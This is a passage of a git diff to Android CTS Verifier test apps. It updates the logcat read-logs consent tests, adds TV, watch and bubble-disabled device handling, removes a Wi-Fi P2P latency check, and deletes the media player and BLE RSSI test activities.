Log.d(LOG_TAG, message);
Toast.makeText(this, message, Toast.LENGTH_LONG).show();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index f6b179c5dd1..eddd930ac30 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -130,6 +130,6 @@ public final class FeatureUtil {
* Checks whether the device shows keyguard when the user doesn't have credentials.
*/
public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) {
- return !isAutomotive(context);
+ return !isAutomotive(context) && !isWatch(context);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
index ff12bd23e16..171d612ce7d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
@@ -54,15 +54,18 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity {
*/
private static final String TAG = "ReadLogsTestActivity";
- private static final String PERMISSION = "android.permission.READ_LOGS";
-
- private static final String ALLOW_LOGD_ACCESS = "Allow logd access";
- private static final String DENY_LOGD_ACCESS = "Decline logd access";
private static final String SYSTEM_LOG_START = "--------- beginning of system";
private static final int NUM_OF_LINES_FG = 10;
private static final int NUM_OF_LINES_BG = 0;
- private static final int LOG_ACCESS_INTERVAL = 1000 * 60 * 2;
+ private static final int LOG_ACCESS_INTERVAL_MILLIS = 1000 * 60 * 2;
+
+ private static final List<String> LOG_CAT_TEST_COMMAND = Arrays.asList("logcat",
+ "-b", "system",
+ "-v", "uid",
+ "-v", "process",
+ "-t", Integer.toString(NUM_OF_LINES_FG));
+
private volatile long mLastLogAccess = 0;
private static Context sContext;
@@ -71,11 +74,14 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity {
private static String sAppPackageName;
private static ExecutorService sExecutorService;
+ private static String sLogCatUidFilterRegex;
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
sContext = this;
+ sLogCatUidFilterRegex = "^[A-Z]{1}\\(\\s" + sContext.getApplicationInfo().uid;
sActivityManager = sContext.getSystemService(ActivityManager.class);
sExecutorService = Executors.newSingleThreadExecutor();
@@ -114,72 +120,70 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity {
public void runLogcatInForegroundAllowOnlyOnce() {
Log.d(TAG, "Inside runLogcatInForegroundAllowOnlyOnce()");
- if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+ if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) {
String reason = "Please wait for "
- + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+ + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime())
/ 1000) + " seconds before running the test.";
Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
return;
}
- sExecutorService.execute(new Runnable() {
-
- public void run() {
- BufferedReader reader = null;
- try {
-
- // Dump the logcat most recent 10 lines before the compile command,
- // and check if there are logs about compiling the test package.
- java.lang.Process logcat = new ProcessBuilder(
- Arrays.asList("logcat", "-b", "system", "-t",
- Integer.toString(NUM_OF_LINES_FG))).start();
- reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
- logcat.waitFor();
-
- List<String> logcatOutput = new ArrayList<>();
- String current;
- Integer lineCount = 0;
- while ((current = reader.readLine()) != null) {
- logcatOutput.add(current);
- lineCount++;
- }
+ sExecutorService.execute(() -> {
+ BufferedReader reader = null;
+ try {
+
+ // Dump the logcat most recent 10 lines before the compile command,
+ // and check if there are logs about compiling the test package.
+ Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start();
+ reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+ logcat.waitFor();
+
+ List<String> logcatOutput = new ArrayList<>();
+ String current;
+ Integer lineCount = 0;
+ while ((current = reader.readLine()) != null) {
+ logcatOutput.add(current);
+ lineCount++;
+ }
- Log.d(TAG, "Logcat system allow line count: " + lineCount);
- Log.d(TAG, "Logcat system allow output: " + logcatOutput);
+ Log.d(TAG, "Logcat system allow line count: " + lineCount);
+ Log.d(TAG, "Logcat system allow output: " + logcatOutput);
- try {
+ try {
+ assertTrue("System log output is null", logcatOutput.size() != 0);
- assertTrue("System log output is null", logcatOutput.size() != 0);
+ // Check if the logcatOutput is not null. If logcatOutput is null,
+ // it throws an assertion error
+ assertNotNull(logcatOutput.get(0), "logcat output should not be null");
- // Check if the logcatOutput is not null. If logcatOutput is null,
- // it throws an assertion error
- assertNotNull(logcatOutput.get(0), "logcat output should not be null");
+ boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
+ assertTrue("Allow system log access contains log", allowLog);
- boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
- assertTrue("Allow system log access containe log", allowLog);
+ boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
+ assertTrue("Allow system log access count", allowLineCount);
- boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
- assertTrue("Allow system log access count", allowLineCount);
+ Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
+ + lineCount + " larger than: " + allowLineCount);
- Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
- + lineCount + " larger than: " + allowLineCount);
+ mLastLogAccess = SystemClock.elapsedRealtime();
- mLastLogAccess = SystemClock.elapsedRealtime();
+ runOnUiThread(() ->
+ Toast.makeText(this, "User Consent Allow Testing passed",
+ Toast.LENGTH_LONG).show());
- } catch (AssertionError e) {
- fail("User Consent Allow Testing failed");
- }
+ } catch (AssertionError e) {
+ fail("User Consent Allow Testing failed");
+ }
- } catch (Exception e) {
- Log.e(TAG, "User Consent Testing failed");
- } finally {
- try {
- if (reader != null) {
- reader.close();
- }
- } catch (IOException e) {
- Log.d(TAG, "Could not close reader: " + e.getMessage());
+ } catch (Exception e) {
+ Log.e(TAG, "User Consent Testing failed");
+ } finally {
+ try {
+ if (reader != null) {
+ reader.close();
}
+ } catch (IOException e) {
+ Log.d(TAG, "Could not close reader: " + e.getMessage());
}
}
});
@@ -199,56 +203,53 @@ public class ReadLogsTestActivity extends PassFailButtons.Activity {
public void runLogcatInForegroundDontAllow() {
Log.d(TAG, "Inside runLogcatInForegroundDontAllow()");
- if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+ if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) {
String reason = "Please wait for "
- + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+ + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime())
/ 1000) + " seconds before running the test.";
Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
return;
}
- sExecutorService.execute(new Runnable() {
+ sExecutorService.execute(() -> {
+ BufferedReader reader = null;
+ try {
+ Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start();
+ logcat.waitFor();
+
+ // Merge several logcat streams, and take the last N lines
+ reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+ assertNotNull(reader);
+
+ String current;
+ int lineCount = 0;
+ while ((current = reader.readLine()) != null
+ && current.matches(sLogCatUidFilterRegex)) {
+ lineCount++;
+ }
- public void run() {
- BufferedReader reader = null;
- try {
- java.lang.Process logcat = new ProcessBuilder(
- Arrays.asList("logcat", "-b", "system", "-t",
- Integer.toString(NUM_OF_LINES_FG))).start();
- logcat.waitFor();
-
- // Merge several logcat streams, and take the last N lines
- reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
- assertNotNull(reader);
-
- List<String> logcatOutput = new ArrayList<>();
- String current;
- int lineCount = 0;
- while ((current = reader.readLine()) != null) {
- logcatOutput.add(current);
- lineCount++;
- }
+ Log.d(TAG, "Logcat system deny line count:" + lineCount);
- Log.d(TAG, "Logcat system deny line count:" + lineCount);
+ mLastLogAccess = SystemClock.elapsedRealtime();
- mLastLogAccess = SystemClock.elapsedRealtime();
-
- try {
- assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
- } catch (AssertionError e) {
- fail("User Consent Deny Testing failed");
- }
+ try {
+ assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
- } catch (Exception e) {
- Log.e(TAG, "User Consent Testing failed");
- } finally {
- try {
- if (reader != null) {
- reader.close();
- }
- } catch (IOException e) {
- Log.d(TAG, "Could not close reader: " + e.getMessage());
+ runOnUiThread(() ->
+ Toast.makeText(this, "User Consent Deny Testing passed",
+ Toast.LENGTH_LONG).show());
+ } catch (AssertionError e) {
+ fail("User Consent Deny Testing failed");
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "User Consent Testing failed");
+ } finally {
+ try {
+ if (reader != null) {
+ reader.close();
}
+ } catch (IOException e) {
+ Log.d(TAG, "Could not close reader: " + e.getMessage());
}
}
});
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index d23d43b78f2..42ad218ffb1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -116,7 +116,7 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
private TestListItem mDisableLocationModeThroughMainSwitchTest;
private TestListItem mDisableLocationModeThroughWorkSwitchTest;
private TestListItem mPrimaryLocationWhenWorkDisabledTest;
- private DialogTestListItem mSelectWorkChallenge;
+ //private DialogTestListItem mSelectWorkChallenge;
private DialogTestListItem mConfirmWorkCredentials;
private DialogTestListItem mPatternWorkChallenge;
private DialogTestListItem mParentProfilePassword;
@@ -472,12 +472,13 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
R.string.profile_owner_permission_lockdown_test_info,
permissionCheckIntent);
+ /* Disable due to b/241498104
mSelectWorkChallenge = new DialogTestListItem(this,
R.string.provisioning_byod_select_work_challenge,
"BYOD_SelectWorkChallenge",
R.string.provisioning_byod_select_work_challenge_description,
new Intent(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE));
-
+ */
mRecentsTest = TestListItem.newTest(this,
R.string.provisioning_byod_recents,
RecentsRedactionActivity.class.getName(),
@@ -560,7 +561,7 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
adapter.add(mVpnTest);
adapter.add(mAlwaysOnVpnSettingsTest);
adapter.add(mTurnOffWorkFeaturesTest);
- adapter.add(mSelectWorkChallenge);
+ //adapter.add(mSelectWorkChallenge);
if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
adapter.add(mConfirmWorkCredentials);
adapter.add(mPatternWorkChallenge);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index cdca014691d..1110b0f33e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -96,6 +96,8 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
private static final String DISALLOW_ADD_WIFI_CONFIG_ID = "DISALLOW_ADD_WIFI_CONFIG";
private static final String WIFI_SECURITY_LEVEL_RESTRICTION_ID =
"WIFI_SECURITY_LEVEL_RESTRICTION";
+ private static final String ACTION_CONNECT_INPUT =
+ "com.google.android.intent.action.CONNECT_INPUT";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -401,7 +403,8 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
UserManager.DISALLOW_CONFIG_BLUETOOTH, true)),
new ButtonInfo(
R.string.device_owner_settings_go,
- new Intent(Settings.ACTION_BLUETOOTH_SETTINGS)),
+ new Intent(Utils.isTV(this) ? ACTION_CONNECT_INPUT
+ : Settings.ACTION_BLUETOOTH_SETTINGS)),
new ButtonInfo(
R.string.device_owner_user_restriction_unset,
CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
@@ -410,7 +413,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
}
// DISALLOW_USB_FILE_TRANSFER
- if (FeatureUtil.isUsbFileTransferSupported(this)) {
+ if (FeatureUtil.isUsbFileTransferSupported(this) && !Utils.isTV(this)) {
adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
R.string.device_owner_disallow_usb_file_transfer_test,
R.string.device_owner_disallow_usb_file_transfer_test_info,
@@ -467,7 +470,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
// setLockTaskFeatures
// TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
- if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH) && !Utils.isTV(this)) {
final Intent lockTaskUiTestIntent = new Intent(this, LockTaskUiTestActivity.class);
lockTaskUiTestIntent.putExtra(LockTaskUiTestActivity.EXTRA_TEST_ID,
LOCK_TASK_UI_TEST_ID);
@@ -676,7 +679,8 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct
// removeDeviceOwner
adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID,
R.string.device_owner_remove_device_owner_test,
- R.string.device_owner_remove_device_owner_test_info,
+ Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv
+ : R.string.device_owner_remove_device_owner_test_info,
new ButtonInfo(
R.string.remove_device_owner_button,
createTearDownIntent())));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
index 4a4eae4f76f..40eefea2d7b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
@@ -240,7 +240,8 @@ public class DeviceOwnerRequestingBugreportTestActivity extends PassFailButtons.
// removeDeviceOwner
adapter.add(createInteractiveTestItem(this, REMOVE_DEVICE_OWNER_TEST_ID,
R.string.device_owner_remove_device_owner_test,
- R.string.device_owner_remove_device_owner_test_info,
+ Utils.isTV(this) ? R.string.device_owner_remove_device_owner_test_info_on_tv
+ : R.string.device_owner_remove_device_owner_test_info,
new ButtonInfo(
R.string.remove_device_owner_button,
createTearDownIntent())));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
index 5fad20c2a7d..d8b659ef20e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/Utils.java
@@ -158,4 +158,9 @@ public class Utils {
return context.getPackageManager().hasSystemFeature(
PackageManager.FEATURE_SECURE_LOCK_SCREEN);
}
+
+ static boolean isTV(Context context) {
+ return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ || context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 8acfcd5545e..80aab50a28b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,8 @@ import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE;
import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
import static android.content.Intent.ACTION_VIEW;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
+import static android.content.pm.PackageManager.FEATURE_PC;
import static android.view.View.GONE;
import static android.view.View.INVISIBLE;
import static android.view.View.VISIBLE;
@@ -42,6 +44,7 @@ import android.content.Context;
import android.content.Intent;
import android.content.pm.ShortcutInfo;
import android.content.pm.ShortcutManager;
+import android.content.res.Resources;
import android.graphics.Color;
import android.graphics.Insets;
import android.graphics.drawable.Icon;
@@ -90,6 +93,7 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
private int mCurrentTestIndex = -1; // gets incremented first time
private int mStepFailureCount = 0;
private boolean mShowingSummary = false;
+ private boolean mSupportsBubble = false;
private Handler mHandler = new Handler();
private Runnable mRunnable;
@@ -147,9 +151,20 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
});
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+
+ try {
+ mSupportsBubble = getResources().getBoolean(getResources().getIdentifier(
+ "config_supportsBubble", "bool", "android"));
+ } catch (Resources.NotFoundException e) {
+ // Assume device does not support bubble, no need to do anything.
+ }
+
if (am.isLowRamDevice()) {
// Bubbles don't occur on low ram, instead they just show as notifs so test that
mTests.add(new LowRamBubbleTest());
+ } else if (!mSupportsBubble) {
+ // Bubbles don't occur on bubble disabled devices, only test notifications.
+ mTests.add(new BubbleDisabledTest());
} else {
//
// Behavior around settings at the device level and on the app settings page.
@@ -183,9 +198,14 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
//
// Expanded view appearance
//
- mTests.add(new PortraitAndLandscape());
+ // At the moment, PC devices do not support rotation
+ if (!getPackageManager().hasSystemFeature(FEATURE_PC)) {
+ mTests.add(new PortraitAndLandscape());
+ }
mTests.add(new ScrimBehindExpandedView());
- mTests.add(new ImeInsetsExpandedView());
+ if (getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS)) {
+ mTests.add(new ImeInsetsExpandedView());
+ }
mTests.add(new MinHeightExpandedView());
mTests.add(new MaxHeightExpandedView());
}
@@ -963,6 +983,31 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
}
}
+ private class BubbleDisabledTest extends BubblesTestStep {
+ @Override
+ public int getTestTitle() {
+ return R.string.bubbles_test_disable_config_title;
+ }
+
+ @Override
+ public int getTestDescription() {
+ return R.string.bubbles_test_disable_config_verify;
+ }
+
+ @Override
+ public int getButtonText() {
+ return R.string.bubbles_test_disable_config_button;
+ }
+
+ @Override
+ public void performTestAction() {
+ Notification.Builder builder = getConversationNotif(getTestTitle());
+ builder.setBubbleMetadata(getBubbleBuilder().build());
+
+ mNotificationManager.notify(NOTIFICATION_ID, builder.build());
+ }
+ }
+
/** Creates a shortcut to use for the notifications to be considered conversations */
private void createShortcuts() {
mShortcuts.clear();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
deleted file mode 100644
index c2208d4bdce..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.notifications;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.media.MediaMetadata;
-import android.media.session.MediaSession;
-import android.media.session.PlaybackState;
-import android.view.View;
-import android.view.ViewGroup;
-
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests for media player shown in shade when media style notification is posted.
- */
-public class MediaPlayerVerifierActivity extends InteractiveVerifierActivity {
-
- // Media session info
- private static final String SESSION_KEY = "Session";
- private static final String SESSION_TITLE = "Song";
- private static final String SESSION_ARTIST = "Artist";
- private static final long SESSION_DURATION = 60000L;
-
- // MediaStyle notification info
- private static final String TITLE = "Media-style Notification";
- private static final String TEXT = "Notification for a test media session";
- private static final String CHANNEL_ID = "MediaPlayerVerifierActivity";
-
- private MediaSession mSession;
- private NotificationManager mManager;
- private Notification.Builder mBuilder;
-
- @Override
- public List<InteractiveTestCase> createTestItems() {
- List<InteractiveTestCase> cases = new ArrayList<>();
- cases.add(new MediaPlayerTestCase(R.string.media_controls_visible));
- cases.add(new MediaPlayerTestCase(R.string.media_controls_output_switcher_chip));
- return cases;
- }
-
- @Override
- public int getInstructionsResource() {
- return R.string.media_controls_info;
- }
-
- @Override
- public int getTitleResource() {
- return R.string.media_controls_title;
- }
-
- private class MediaPlayerTestCase extends InteractiveTestCase {
- private final int mDescriptionResId;
-
- MediaPlayerTestCase(int resId) {
- mDescriptionResId = resId;
- }
-
- @Override
- protected void setUp() {
- postMediaStyleNotification();
- status = READY;
- }
-
- @Override
- protected void tearDown() {
- cancelMediaStyleNotification();
- }
-
- @Override
- protected View inflate(ViewGroup parent) {
- return createPassFailItem(parent, mDescriptionResId);
- }
-
- @Override
- protected void test() {
- status = WAIT_FOR_USER;
- next();
- }
- }
-
- private void postMediaStyleNotification() {
- mManager = this.getSystemService(NotificationManager.class);
- mSession = new MediaSession(this, SESSION_KEY);
-
- // Create a solid color bitmap to use as album art in media metadata
- Bitmap bitmap = Bitmap.createBitmap(300, 300, Bitmap.Config.ARGB_8888);
- new Canvas(bitmap).drawColor(Color.GREEN);
-
- // Set up media session with metadata and playback state
- mSession.setMetadata(new MediaMetadata.Builder()
- .putString(MediaMetadata.METADATA_KEY_ARTIST, SESSION_ARTIST)
- .putString(MediaMetadata.METADATA_KEY_TITLE, SESSION_TITLE)
- .putLong(MediaMetadata.METADATA_KEY_DURATION, SESSION_DURATION)
- .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, bitmap)
- .build());
- mSession.setPlaybackState(new PlaybackState.Builder()
- .setState(PlaybackState.STATE_PAUSED, 6000L, 1f)
- .setActions(PlaybackState.ACTION_SEEK_TO
- | PlaybackState.ACTION_PLAY
- | PlaybackState.ACTION_PAUSE
- | PlaybackState.ACTION_SKIP_TO_PREVIOUS
- | PlaybackState.ACTION_SKIP_TO_NEXT)
- .addCustomAction("rewind", "rewind", android.R.drawable.ic_media_rew)
- .addCustomAction("fast forward", "fast forward", android.R.drawable.ic_media_ff)
- .build());
-
- // Set up notification builder
- NotificationChannel channel = new NotificationChannel(CHANNEL_ID, CHANNEL_ID,
- NotificationManager.IMPORTANCE_LOW);
- mManager.createNotificationChannel(channel);
- mBuilder = new Notification.Builder(this, CHANNEL_ID)
- .setContentTitle(TITLE).setContentText(TEXT)
- .setSmallIcon(R.drawable.ic_android)
- .setStyle(new Notification.MediaStyle()
- .setShowActionsInCompactView(1, 2, 3)
- .setMediaSession(mSession.getSessionToken()))
- .setColor(Color.BLUE)
- .setColorized(true)
- .addAction(android.R.drawable.ic_media_rew, "rewind", null)
- .addAction(android.R.drawable.ic_media_previous, "previous track", null)
- .addAction(android.R.drawable.ic_media_play, "play", null)
- .addAction(android.R.drawable.ic_media_next, "next track", null)
- .addAction(android.R.drawable.ic_media_ff, "fast forward", null);
-
- mSession.setActive(true);
- mManager.notify(1, mBuilder.build());
- }
-
- private void cancelMediaStyleNotification() {
- if (mSession != null) {
- mSession.release();
- mSession = null;
- }
- if (mManager != null) {
- mManager.cancelAll();
- mManager.deleteNotificationChannel(CHANNEL_ID);
- mManager = null;
- }
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
index f0c62c4a14c..20ce5ac4fd8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
@@ -23,9 +23,7 @@ import android.net.wifi.p2p.WifiP2pDevice;
import android.net.wifi.p2p.WifiP2pGroup;
import android.net.wifi.p2p.WifiP2pInfo;
import android.net.wifi.p2p.WifiP2pManager;
-import android.os.Build;
-import com.android.compatibility.common.util.PropertyUtil;
import com.android.cts.verifier.R;
import java.lang.reflect.Method;
@@ -189,11 +187,21 @@ public abstract class ConnectReqTestCase extends ReqTestCase {
* @throws InterruptedException
*/
protected boolean connectTest(WifiP2pConfig config) throws InterruptedException {
+ notifyTestMsg(R.string.p2p_searching_target);
+
+ /*
+ * Search target device and check its capability.
+ */
ActionListenerTest actionListener = new ActionListenerTest();
+ mP2pMgr.discoverPeers(mChannel, actionListener);
+ if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_discover_peers_error);
+ return false;
+ }
+
/*
* Try to connect the target device.
*/
- long startTime = System.currentTimeMillis();
mP2pMgr.connect(mChannel, config, actionListener);
if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
mReason = mContext.getString(R.string.p2p_connect_error);
@@ -216,15 +224,6 @@ public abstract class ConnectReqTestCase extends ReqTestCase {
WifiP2pGroup group = mReceiverTest.getWifiP2pGroup();
if (group != null) {
if (!group.isGroupOwner()) {
- long endTime = System.currentTimeMillis();
- long connectionLatency = endTime - startTime;
- if (PropertyUtil.isVndkApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)
- && connectionLatency
- > MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS) {
- mReason = mContext.getString(R.string.p2p_connection_latency_error,
- MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS, connectionLatency);
- return false;
- }
setTargetAddress(group.getOwner().deviceAddress);
} else {
mReason = mContext.getString(R.string.p2p_connection_error);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
index 2117419f7bb..7f608c5bcf7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/TestCase.java
@@ -44,7 +44,6 @@ public abstract class TestCase {
protected static final int TIMEOUT = 25000;
protected static final int TIMEOUT_FOR_USER_ACTION = 60000;
- protected static final int MAXIMUM_EXPECTED_CONNECTION_LATENCY_WITH_CONFIG_MS = 1500;
protected static final int SUCCESS = 0;
protected Context mContext;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
deleted file mode 100644
index 1548910093a..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRssiPrecisionActivity.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/** Tests the precision of the device's RSSI measurement wtfdelet */
-public class BleRssiPrecisionActivity extends PassFailButtons.Activity {
- private static final String TAG = BleRssiPrecisionActivity.class.getName();
-
- // Report log schema
- private static final String KEY_RSSI_RANGE_DBM = "rssi_range_dbm";
- private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
- // Thresholds
- private static final int MAX_RSSI_RANGE_DBM = 18;
-
- private EditText reportRssiRangeEditText;
- private EditText reportReferenceDeviceEditText;
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.ble_rssi_precision);
- setPassFailButtonClickListeners();
- getPassButton().setEnabled(false);
-
- reportRssiRangeEditText = findViewById(R.id.report_rssi_range);
- reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
- DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
- PackageManager.FEATURE_BLUETOOTH_LE);
-
